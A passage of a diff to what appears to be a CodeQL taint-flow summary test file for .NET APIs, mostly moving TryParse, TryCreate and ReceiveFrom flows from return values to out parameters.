System.Diagnostics;Debug;WriteLineIf;(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler,System.String);Argument[1];ReturnValue;value;dfc-generated | | System.Diagnostics;DefaultTraceListener;Write;(System.String);Argument[0];Argument[this];taint;df-generated | | System.Diagnostics;DelimitedListTraceListener;TraceData;(System.Diagnostics.TraceEventCache,System.String,System.Diagnostics.TraceEventType,System.Int32,System.Object);Argument[0];Argument[this];taint;df-generated | | System.Diagnostics;DelimitedListTraceListener;TraceData;(System.Diagnostics.TraceEventCache,System.String,System.Diagnostics.TraceEventType,System.Int32,System.Object);Argument[1];Argument[this];taint;df-generated | @@ -11655,7 +11589,7 @@ summary | System.Dynamic;ExpandoObject;CopyTo;(System.Collections.Generic.KeyValuePair[],System.Int32);Argument[this].Element;Argument[0].Element;value;manual | | System.Dynamic;ExpandoObject;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Dynamic;ExpandoObject;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | -| System.Dynamic;ExpandoObject;TryGetValue;(System.String,System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.Dynamic;ExpandoObject;TryGetValue;(System.String,System.Object);Argument[this];Argument[1];taint;df-generated | | System.Dynamic;ExpandoObject;add_PropertyChanged;(System.ComponentModel.PropertyChangedEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Dynamic;ExpandoObject;get_Item;(System.String);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Dynamic;ExpandoObject;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | @@ -11684,9 +11618,9 @@ summary | System.Formats.Asn1;AsnDecoder;TryReadBitString;(System.ReadOnlySpan,System.Span,System.Formats.Asn1.AsnEncodingRules,System.Int32,System.Int32,System.Int32,System.Nullable);Argument[0].Element;Argument[1].Element;value;dfc-generated | | System.Formats.Asn1;AsnDecoder;TryReadCharacterStringBytes;(System.ReadOnlySpan,System.Span,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.Asn1Tag,System.Int32,System.Int32);Argument[0].Element;Argument[1].Element;value;dfc-generated | | System.Formats.Asn1;AsnDecoder;TryReadOctetString;(System.ReadOnlySpan,System.Span,System.Formats.Asn1.AsnEncodingRules,System.Int32,System.Int32,System.Nullable);Argument[0].Element;Argument[1].Element;value;dfc-generated | -| System.Formats.Asn1;AsnDecoder;TryReadPrimitiveBitString;(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.Int32,System.ReadOnlySpan,System.Int32,System.Nullable);Argument[0].Element;ReturnValue.Element;value;dfc-generated | -| System.Formats.Asn1;AsnDecoder;TryReadPrimitiveCharacterStringBytes;(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.Asn1Tag,System.ReadOnlySpan,System.Int32);Argument[0].Element;ReturnValue.Element;value;dfc-generated | -| System.Formats.Asn1;AsnDecoder;TryReadPrimitiveOctetString;(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.ReadOnlySpan,System.Int32,System.Nullable);Argument[0].Element;ReturnValue.Element;value;dfc-generated | +| System.Formats.Asn1;AsnDecoder;TryReadPrimitiveBitString;(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.Int32,System.ReadOnlySpan,System.Int32,System.Nullable);Argument[0].Element;Argument[3].Element;value;dfc-generated | +| System.Formats.Asn1;AsnDecoder;TryReadPrimitiveCharacterStringBytes;(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.Asn1Tag,System.ReadOnlySpan,System.Int32);Argument[0].Element;Argument[3].Element;value;dfc-generated | +| System.Formats.Asn1;AsnDecoder;TryReadPrimitiveOctetString;(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.ReadOnlySpan,System.Int32,System.Nullable);Argument[0].Element;Argument[2].Element;value;dfc-generated | | System.Formats.Asn1;AsnReader;AsnReader;(System.ReadOnlyMemory,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.AsnReaderOptions);Argument[0];Argument[this];taint;df-generated | | System.Formats.Asn1;AsnReader;AsnReader;(System.ReadOnlyMemory,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.AsnReaderOptions);Argument[2];Argument[this];taint;df-generated | | System.Formats.Asn1;AsnReader;ReadBitString;(System.Int32,System.Nullable);Argument[this];ReturnValue;taint;df-generated | @@ -11928,8 +11862,6 @@ summary | System.IO.Enumeration;FileSystemEnumerable;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.IO.Enumeration;FileSystemEnumerable;set_ShouldIncludePredicate;(System.IO.Enumeration.FileSystemEnumerable+FindPredicate);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.IO.Enumeration;FileSystemEnumerable;set_ShouldRecursePredicate;(System.IO.Enumeration.FileSystemEnumerable+FindPredicate);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.IO.Enumeration;FileSystemEnumerator;ShouldIncludeEntry;(System.IO.Enumeration.FileSystemEntry);Argument[0];ReturnValue;value;dfc-generated | -| System.IO.Enumeration;FileSystemEnumerator;ShouldRecurseIntoEntry;(System.IO.Enumeration.FileSystemEntry);Argument[0];ReturnValue;value;dfc-generated | | System.IO.Enumeration;FileSystemEnumerator;get_Current;();Argument[this].Property[System.IO.Enumeration.FileSystemEnumerator`1.Current];ReturnValue;value;df-generated | | System.IO.Enumeration;FileSystemEnumerator;get_Current;();Argument[this].Property[System.IO.Enumeration.FileSystemEnumerator`1.Current];ReturnValue;value;dfc-generated | | System.IO.Enumeration;FileSystemEnumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | @@ -12230,7 +12162,7 @@ summary | System.IO;MemoryStream;ReadAsync;(System.Byte[],System.Int32,System.Int32,System.Threading.CancellationToken);Argument[this];Argument[0].Element;taint;manual | | System.IO;MemoryStream;ReadAsync;(System.Memory,System.Threading.CancellationToken);Argument[this];Argument[0].Element;taint;manual | | System.IO;MemoryStream;ToArray;();Argument[this];ReturnValue;taint;manual | -| System.IO;MemoryStream;TryGetBuffer;(System.ArraySegment);Argument[this];ReturnValue;taint;df-generated | +| System.IO;MemoryStream;TryGetBuffer;(System.ArraySegment);Argument[this];Argument[0].Element;taint;df-generated | | System.IO;MemoryStream;Write;(System.Byte[],System.Int32,System.Int32);Argument[0].Element;Argument[this];taint;manual | | System.IO;MemoryStream;Write;(System.ReadOnlySpan);Argument[0].Element;Argument[this];taint;manual | | System.IO;MemoryStream;WriteAsync;(System.Byte[],System.Int32,System.Int32,System.Threading.CancellationToken);Argument[0].Element;Argument[this];taint;manual | @@ -12553,7 +12485,6 @@ summary | System.IO;UnmanagedMemoryAccessor;Initialize;(System.Runtime.InteropServices.SafeBuffer,System.Int64,System.Int64,System.IO.FileAccess);Argument[0];Argument[this];taint;df-generated | | System.IO;UnmanagedMemoryAccessor;UnmanagedMemoryAccessor;(System.Runtime.InteropServices.SafeBuffer,System.Int64,System.Int64);Argument[0];Argument[this];taint;df-generated | | System.IO;UnmanagedMemoryAccessor;UnmanagedMemoryAccessor;(System.Runtime.InteropServices.SafeBuffer,System.Int64,System.Int64,System.IO.FileAccess);Argument[0];Argument[this];taint;df-generated | -| System.IO;UnmanagedMemoryAccessor;Write;(System.Int64,T);Argument[1];ReturnValue;value;dfc-generated | | System.IO;UnmanagedMemoryStream;FlushAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue.SyntheticField[System.Threading.Tasks.Task.m_stateObject];value;dfc-generated | | System.IO;UnmanagedMemoryStream;Initialize;(System.Byte*,System.Int64,System.Int64,System.IO.FileAccess);Argument[0];Argument[this];taint;df-generated | | System.IO;UnmanagedMemoryStream;Initialize;(System.Runtime.InteropServices.SafeBuffer,System.Int64,System.Int64,System.IO.FileAccess);Argument[0];Argument[this];taint;df-generated | @@ -14517,8 +14448,8 @@ summary | System.Net.Http.Headers;HttpHeadersNonValidated;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Net.Http.Headers;HttpHeadersNonValidated;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Net.Http.Headers;HttpHeadersNonValidated;GetEnumerator;();Argument[this];ReturnValue;taint;df-generated | -| System.Net.Http.Headers;HttpHeadersNonValidated;TryGetValue;(System.String,System.Net.Http.Headers.HeaderStringValues);Argument[0];ReturnValue;taint;df-generated | -| System.Net.Http.Headers;HttpHeadersNonValidated;TryGetValues;(System.String,System.Net.Http.Headers.HeaderStringValues);Argument[0];ReturnValue;taint;df-generated | +| System.Net.Http.Headers;HttpHeadersNonValidated;TryGetValue;(System.String,System.Net.Http.Headers.HeaderStringValues);Argument[0];Argument[1].Element;taint;df-generated | +| System.Net.Http.Headers;HttpHeadersNonValidated;TryGetValues;(System.String,System.Net.Http.Headers.HeaderStringValues);Argument[0];Argument[1].Element;taint;df-generated | | System.Net.Http.Headers;HttpHeadersNonValidated;get_Item;(System.String);Argument[0];ReturnValue;taint;df-generated | | System.Net.Http.Headers;HttpHeadersNonValidated;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;dfc-generated | | System.Net.Http.Headers;HttpHeadersNonValidated;get_Values;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue.Element;value;dfc-generated | @@ -14540,9 +14471,9 @@ summary | System.Net.Http.Headers;MediaTypeHeaderValue;MediaTypeHeaderValue;(System.Net.Http.Headers.MediaTypeHeaderValue);Argument[0].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType];Argument[this].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType];value;dfc-generated | | System.Net.Http.Headers;MediaTypeHeaderValue;MediaTypeHeaderValue;(System.String,System.String);Argument[0];Argument[this].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType];value;dfc-generated | | System.Net.Http.Headers;MediaTypeHeaderValue;ToString;();Argument[this].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType];ReturnValue;value;dfc-generated | -| System.Net.Http.Headers;MediaTypeHeaderValue;TryParse;(System.String,System.Net.Http.Headers.MediaTypeHeaderValue);Argument[0];ReturnValue.SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType];taint;dfc-generated | +| System.Net.Http.Headers;MediaTypeHeaderValue;TryParse;(System.String,System.Net.Http.Headers.MediaTypeHeaderValue);Argument[0];Argument[1].SyntheticField[System.Net.Http.Headers.MediaTypeHeaderValue._mediaType];taint;dfc-generated | | System.Net.Http.Headers;MediaTypeWithQualityHeaderValue;Clone;();Argument[this];ReturnValue;value;dfc-generated | -| System.Net.Http.Headers;MediaTypeWithQualityHeaderValue;TryParse;(System.String,System.Net.Http.Headers.MediaTypeWithQualityHeaderValue);Argument[0];ReturnValue;taint;df-generated | +| System.Net.Http.Headers;MediaTypeWithQualityHeaderValue;TryParse;(System.String,System.Net.Http.Headers.MediaTypeWithQualityHeaderValue);Argument[0];Argument[1];taint;df-generated | | System.Net.Http.Headers;NameValueHeaderValue;Clone;();Argument[this];ReturnValue;value;dfc-generated | | System.Net.Http.Headers;NameValueHeaderValue;NameValueHeaderValue;(System.Net.Http.Headers.NameValueHeaderValue);Argument[0].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._name];Argument[this].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._name];value;dfc-generated | | System.Net.Http.Headers;NameValueHeaderValue;NameValueHeaderValue;(System.Net.Http.Headers.NameValueHeaderValue);Argument[0].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._value];Argument[this].SyntheticField[System.Net.Http.Headers.NameValueHeaderValue._value];value;dfc-generated | @@ -14596,10 +14527,10 @@ summary | System.Net.Http.Headers;TransferCodingHeaderValue;ToString;();Argument[this].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];ReturnValue;taint;dfc-generated | | System.Net.Http.Headers;TransferCodingHeaderValue;TransferCodingHeaderValue;(System.Net.Http.Headers.TransferCodingHeaderValue);Argument[0].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];Argument[this].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];value;dfc-generated | | System.Net.Http.Headers;TransferCodingHeaderValue;TransferCodingHeaderValue;(System.String);Argument[0];Argument[this].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];value;dfc-generated | -| System.Net.Http.Headers;TransferCodingHeaderValue;TryParse;(System.String,System.Net.Http.Headers.TransferCodingHeaderValue);Argument[0];ReturnValue.SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];taint;dfc-generated | +| System.Net.Http.Headers;TransferCodingHeaderValue;TryParse;(System.String,System.Net.Http.Headers.TransferCodingHeaderValue);Argument[0];Argument[1].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];taint;dfc-generated | | System.Net.Http.Headers;TransferCodingHeaderValue;get_Value;();Argument[this].SyntheticField[System.Net.Http.Headers.TransferCodingHeaderValue._value];ReturnValue;value;dfc-generated | | System.Net.Http.Headers;TransferCodingWithQualityHeaderValue;Clone;();Argument[this];ReturnValue;value;dfc-generated | -| System.Net.Http.Headers;TransferCodingWithQualityHeaderValue;TryParse;(System.String,System.Net.Http.Headers.TransferCodingWithQualityHeaderValue);Argument[0];ReturnValue;taint;df-generated | +| System.Net.Http.Headers;TransferCodingWithQualityHeaderValue;TryParse;(System.String,System.Net.Http.Headers.TransferCodingWithQualityHeaderValue);Argument[0];Argument[1];taint;df-generated | | System.Net.Http.Headers;ViaHeaderValue;Clone;();Argument[this];ReturnValue;value;dfc-generated | | System.Net.Http.Headers;ViaHeaderValue;ViaHeaderValue;(System.String,System.String,System.String,System.String);Argument[0];Argument[this].SyntheticField[System.Net.Http.Headers.ViaHeaderValue._protocolVersion];value;dfc-generated | | System.Net.Http.Headers;ViaHeaderValue;ViaHeaderValue;(System.String,System.String,System.String,System.String);Argument[1];Argument[this].SyntheticField[System.Net.Http.Headers.ViaHeaderValue._receivedBy];value;dfc-generated | @@ -14704,8 +14635,7 @@ summary | System.Net.Http;HttpRequestMessage;HttpRequestMessage;(System.Net.Http.HttpMethod,System.String);Argument[1];Argument[this];taint;manual | | System.Net.Http;HttpRequestMessage;HttpRequestMessage;(System.Net.Http.HttpMethod,System.Uri);Argument[0];Argument[this];taint;manual | | System.Net.Http;HttpRequestMessage;HttpRequestMessage;(System.Net.Http.HttpMethod,System.Uri);Argument[1];Argument[this];taint;manual | -| System.Net.Http;HttpRequestMessage;ToString;();Argument[this].SyntheticField[System.Net.Http.HttpRequestMessage._method];ReturnValue;taint;dfc-generated | -| System.Net.Http;HttpRequestMessage;ToString;();Argument[this].SyntheticField[System.Net.Http.HttpRequestMessage._requestUri];ReturnValue;taint;dfc-generated | +| System.Net.Http;HttpRequestMessage;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Net.Http;HttpRequestMessage;get_Properties;();Argument[this].Property[System.Net.Http.HttpRequestMessage.Options];ReturnValue;value;dfc-generated | | System.Net.Http;HttpRequestOptions;Add;(System.Collections.Generic.KeyValuePair);Argument[0].Property[System.Collections.Generic.KeyValuePair`2.Key];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Net.Http;HttpRequestOptions;Add;(System.Collections.Generic.KeyValuePair);Argument[0].Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | @@ -14828,17 +14758,17 @@ summary | System.Net.Mail;MailAddress;MailAddress;(System.String,System.String,System.Text.Encoding);Argument[0];Argument[this].SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | | System.Net.Mail;MailAddress;MailAddress;(System.String,System.String,System.Text.Encoding);Argument[1];Argument[this].SyntheticField[System.Net.Mail.MailAddress._displayName];value;dfc-generated | | System.Net.Mail;MailAddress;ToString;();Argument[this];ReturnValue;taint;df-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._host];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._host];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[1];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName];value;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._host];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[0];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | -| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[1];ReturnValue.SyntheticField[System.Net.Mail.MailAddress._displayName];value;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.Net.Mail.MailAddress);Argument[0];Argument[1].SyntheticField[System.Net.Mail.MailAddress._displayName];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.Net.Mail.MailAddress);Argument[0];Argument[1].SyntheticField[System.Net.Mail.MailAddress._host];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.Net.Mail.MailAddress);Argument[0];Argument[1].SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[0];Argument[2].SyntheticField[System.Net.Mail.MailAddress._displayName];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[0];Argument[2].SyntheticField[System.Net.Mail.MailAddress._host];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[0];Argument[2].SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Net.Mail.MailAddress);Argument[1];Argument[2].SyntheticField[System.Net.Mail.MailAddress._displayName];value;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[0];Argument[3].SyntheticField[System.Net.Mail.MailAddress._displayName];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[0];Argument[3].SyntheticField[System.Net.Mail.MailAddress._host];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[0];Argument[3].SyntheticField[System.Net.Mail.MailAddress._userName];taint;dfc-generated | +| System.Net.Mail;MailAddress;TryCreate;(System.String,System.String,System.Text.Encoding,System.Net.Mail.MailAddress);Argument[1];Argument[3].SyntheticField[System.Net.Mail.MailAddress._displayName];value;dfc-generated | | System.Net.Mail;MailAddress;get_Address;();Argument[this].SyntheticField[System.Net.Mail.MailAddress._host];ReturnValue;taint;dfc-generated | | System.Net.Mail;MailAddress;get_Address;();Argument[this].SyntheticField[System.Net.Mail.MailAddress._userName];ReturnValue;taint;dfc-generated | | System.Net.Mail;MailAddress;get_DisplayName;();Argument[this].SyntheticField[System.Net.Mail.MailAddress._displayName];ReturnValue;value;dfc-generated | @@ -15133,13 +15063,7 @@ summary | System.Net.Sockets;Socket;BeginReceive;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.Sockets.SocketError,System.AsyncCallback,System.Object);Argument[5];Argument[5].Parameter[delegate-self];value;hq-generated | | System.Net.Sockets;Socket;BeginReceive;(System.Collections.Generic.IList>,System.Net.Sockets.SocketFlags,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Net.Sockets;Socket;BeginReceive;(System.Collections.Generic.IList>,System.Net.Sockets.SocketFlags,System.Net.Sockets.SocketError,System.AsyncCallback,System.Object);Argument[3];Argument[3].Parameter[delegate-self];value;hq-generated | -| System.Net.Sockets;Socket;BeginReceiveFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[4];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;BeginReceiveFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[4];ReturnValue;value;hq-generated | -| System.Net.Sockets;Socket;BeginReceiveFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[5];Argument[5].Parameter[delegate-self];value;dfc-generated | | System.Net.Sockets;Socket;BeginReceiveFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[5];Argument[5].Parameter[delegate-self];value;hq-generated | -| System.Net.Sockets;Socket;BeginReceiveMessageFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[4];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;BeginReceiveMessageFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[4];ReturnValue;value;hq-generated | -| System.Net.Sockets;Socket;BeginReceiveMessageFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[5];Argument[5].Parameter[delegate-self];value;dfc-generated | | System.Net.Sockets;Socket;BeginReceiveMessageFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.AsyncCallback,System.Object);Argument[5];Argument[5].Parameter[delegate-self];value;hq-generated | | System.Net.Sockets;Socket;BeginSend;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.AsyncCallback,System.Object);Argument[4];Argument[4].Parameter[delegate-self];value;hq-generated | | System.Net.Sockets;Socket;BeginSend;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.Sockets.SocketError,System.AsyncCallback,System.Object);Argument[5];Argument[5].Parameter[delegate-self];value;hq-generated | @@ -15155,18 +15079,16 @@ summary | System.Net.Sockets;Socket;ConnectAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[0];Argument[this];taint;df-generated | | System.Net.Sockets;Socket;ConnectAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | | System.Net.Sockets;Socket;DisconnectAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | -| System.Net.Sockets;Socket;EndReceiveFrom;(System.IAsyncResult,System.Net.EndPoint);Argument[1];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;EndReceiveMessageFrom;(System.IAsyncResult,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation);Argument[2];ReturnValue;value;dfc-generated | | System.Net.Sockets;Socket;ReceiveAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | -| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[4];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[3];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Net.EndPoint);Argument[1];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[2];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;ReceiveFrom;(System.Span,System.Net.EndPoint);Argument[1];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;ReceiveFrom;(System.Span,System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[2];ReturnValue;value;dfc-generated | +| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[4];Argument[this];taint;df-generated | +| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[3];Argument[this];taint;df-generated | +| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Net.EndPoint);Argument[1];Argument[this];taint;df-generated | +| System.Net.Sockets;Socket;ReceiveFrom;(System.Byte[],System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[2];Argument[this];taint;df-generated | +| System.Net.Sockets;Socket;ReceiveFrom;(System.Span,System.Net.EndPoint);Argument[1];Argument[this];taint;df-generated | +| System.Net.Sockets;Socket;ReceiveFrom;(System.Span,System.Net.Sockets.SocketFlags,System.Net.EndPoint);Argument[2];Argument[this];taint;df-generated | | System.Net.Sockets;Socket;ReceiveFromAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | -| System.Net.Sockets;Socket;ReceiveMessageFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation);Argument[4];ReturnValue;value;dfc-generated | -| System.Net.Sockets;Socket;ReceiveMessageFrom;(System.Span,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation);Argument[2];ReturnValue;value;dfc-generated | +| System.Net.Sockets;Socket;ReceiveMessageFrom;(System.Byte[],System.Int32,System.Int32,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation);Argument[4];Argument[this];taint;df-generated | +| System.Net.Sockets;Socket;ReceiveMessageFrom;(System.Span,System.Net.Sockets.SocketFlags,System.Net.EndPoint,System.Net.Sockets.IPPacketInformation);Argument[2];Argument[this];taint;df-generated | | System.Net.Sockets;Socket;ReceiveMessageFromAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | | System.Net.Sockets;Socket;SendAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | | System.Net.Sockets;Socket;SendPacketsAsync;(System.Net.Sockets.SocketAsyncEventArgs);Argument[this];Argument[0];taint;df-generated | @@ -15554,7 +15476,7 @@ summary | System.Numerics;BigInteger;CreateSaturating;(TOther);Argument[0];ReturnValue;value;dfc-generated | | System.Numerics;BigInteger;CreateTruncating;(TOther);Argument[0];ReturnValue;value;dfc-generated | | System.Numerics;BigInteger;DivRem;(System.Numerics.BigInteger,System.Numerics.BigInteger);Argument[0];ReturnValue.Field[System.ValueTuple`2.Item2];value;dfc-generated | -| System.Numerics;BigInteger;DivRem;(System.Numerics.BigInteger,System.Numerics.BigInteger,System.Numerics.BigInteger);Argument[0];ReturnValue;value;dfc-generated | +| System.Numerics;BigInteger;DivRem;(System.Numerics.BigInteger,System.Numerics.BigInteger,System.Numerics.BigInteger);Argument[0];Argument[2];value;dfc-generated | | System.Numerics;BigInteger;Max;(System.Numerics.BigInteger,System.Numerics.BigInteger);Argument[0];ReturnValue;value;dfc-generated | | System.Numerics;BigInteger;Max;(System.Numerics.BigInteger,System.Numerics.BigInteger);Argument[1];ReturnValue;value;dfc-generated | | System.Numerics;BigInteger;MaxMagnitude;(System.Numerics.BigInteger,System.Numerics.BigInteger);Argument[0];ReturnValue;value;dfc-generated | @@ -15620,7 +15542,6 @@ summary | System.Numerics;Vector;Round;(System.Numerics.Vector,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | | System.Numerics;Vector;Round;(System.Numerics.Vector);Argument[0];ReturnValue;value;dfc-generated | | System.Numerics;Vector;Round;(System.Numerics.Vector,System.MidpointRounding);Argument[0];ReturnValue;value;dfc-generated | -| 